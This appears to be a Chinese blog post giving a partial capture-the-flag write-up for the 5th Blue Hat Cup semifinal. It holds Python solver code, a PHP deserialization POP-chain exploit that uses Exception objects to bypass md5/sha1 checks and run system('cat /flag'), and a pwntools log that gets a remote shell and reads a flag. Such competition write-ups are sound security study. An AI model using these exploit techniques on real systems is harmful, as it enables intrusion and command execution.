

# 第五届蓝帽杯半决赛部分WP

原创

[FW\\_ENJOEY](#) 于 2021-06-06 19:41:57 发布 572 收藏 1

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## RE:ser\_leak

题目是原题:

x1-x5:

```

def func2(x):
    if x == 0:
        return 0
    return (x % 2) + func2(x // 2)

def func3(x):
    return x % 2

def func1(N, L, R):
    if L == R:
        return L
    mid = (L + R + 1) // 2
    if N < mid * mid:
        return func1(N, L, mid - 1)
    else:
        return func1(N, mid, R)

def _func1(x):
    return func1(x, 1, x)

if __name__ == '__main__':
    x1_flag = False
    x2_flag = False
    x3_flag = False
    x4_flag = False
    x5_flag = False
    for i in range(10000000, 100000000):
        if func3(func2(i)) != 1:
            continue
        if _func1(i) == 963 and not x1_flag:
            print("x1:",i)
            x1_flag = True
        if _func1(i) == 4396 and not x2_flag:
            print("x2:",i)
            x2_flag = True
        if _func1(i) == 6666 and not x3_flag:
            print("x3:",i)
            x3_flag = True
        if _func1(i) == 1999 and not x4_flag:
            print("x4:",i)
            x4_flag = True
        if _func1(i) == 3141 and not x5_flag:
            print("x5:",i)
            x5_flag = True

```

```
def nextm(n, m):
    if m*m <= n:
        return m+1
    else:
        return 0

def nextn(n, m):
    return (n % m != 0) * n

def test(n, m):
    if n == 0:
        return 0
    if m == 0:
        return 1
    return test(nextn(n, m), nextm(n, m))

def func4(x):
    if x == 1:
        return 0
    if x == 2:
        return 1
    return test(x, 2)

if __name__ == '__main__':
    x6 = 0
    for i in range(1, 5):
        if func4(i*2-1) == 1:
            x6 += 1
    print(x6)
```

## WEB:杰克与肉丝

考点:

- 1、php反序列化pop链构造
- 2、Exception类绕过md5、sha1

## 参考

<https://blog.csdn.net/LYJ20010728/article/details/114493052>

```
{
    private $action;

    function __set($a, $b)
    {
        $b->$a();
    }
}

class Love {
    public $var;
    function __call($a,$b)
    {
        $rose = $this->var;
        call_user_func($rose);
    }

    private function action(){
        echo "jack love rose";
    }
}

class Titanic{
    public $people;
    public $ship;
    function __destruct(){

        $this->people->action=$this->ship;
    }
}

class Rose{
    public $var1;
    public $var2;
    function __invoke(){
        if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (shal($this->var1)=== shal($this->var2)) ){
            eval($this->var1);
        }
    }
}
}
```

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代码:

```
<?php
class Titanic{
    public $people;
    public $ship;
    function __construct(){
        $this->people = new Jack();
        $this->ship = new Love();
    }
}

class Jack{
    private $action;
    function __set($a, $b)
    {
        $b->$a();
    }
}

class Love {
    public $var;
    function __construct(){
        $this->var = new Rose();
    }
}

class Rose {
    public $var1,$var2;
    public function __construct(){
        $cmd ='system("cat /flag");?>';
        $a = new Exception($cmd);$b = new Exception($cmd,1);
        $this->var1 = $a;
        $this->var2 = $b;
    }
}

$f = new Titanic();
echo urlencode(serialize($f));
```



```
终端 文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/k/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.12.2 --> 4.5.1).
Update with: $ pip install -U pwntools
[*] Opening connection to 118.190.62.234 on port 12435: Done
[DEBUG] Received 0x1d bytes:
'Try use a bullet to pwn this\n'
[DEBUG] Sent 0x5 bytes:
00000000 d2 84 04 08 24 |....|$|
00000005
[DEBUG] Received 0x34 bytes:
00000000 4f 4b 2c 79 6f 75 20 6c 61 75 6e 63 68 20 74 68 |OK,y ou l aunc h th|
00000010 65 20 62 75 6c 6c 65 74 2c 20 61 6e 64 2e 2e 2e |e bu llet , an d...|
00000020 20 57 68 61 74 27 73 20 79 6f 75 72 20 6e 61 6d |Wha t's your nam|
00000030 65 3f 00 0a |e?...|
00000034
[DEBUG] Sent 0x7 bytes:
'/bin/sh'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x28 bytes:
'bin\n'
'dev\n'
'flag\n'
'lib\n'
'lib32\n'
'lib64\n'
'pwn\n'
'run.sh\n'
bin
dev
flag
lib
lib32
lib64
pwn
run.sh
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2b bytes:
'flag{f7d89ad6-8c5a-4f0d-ae41-2410ab8855b6}\n'
flag{f7d89ad6-8c5a-4f0d-ae41-2410ab8855b6}
$
```

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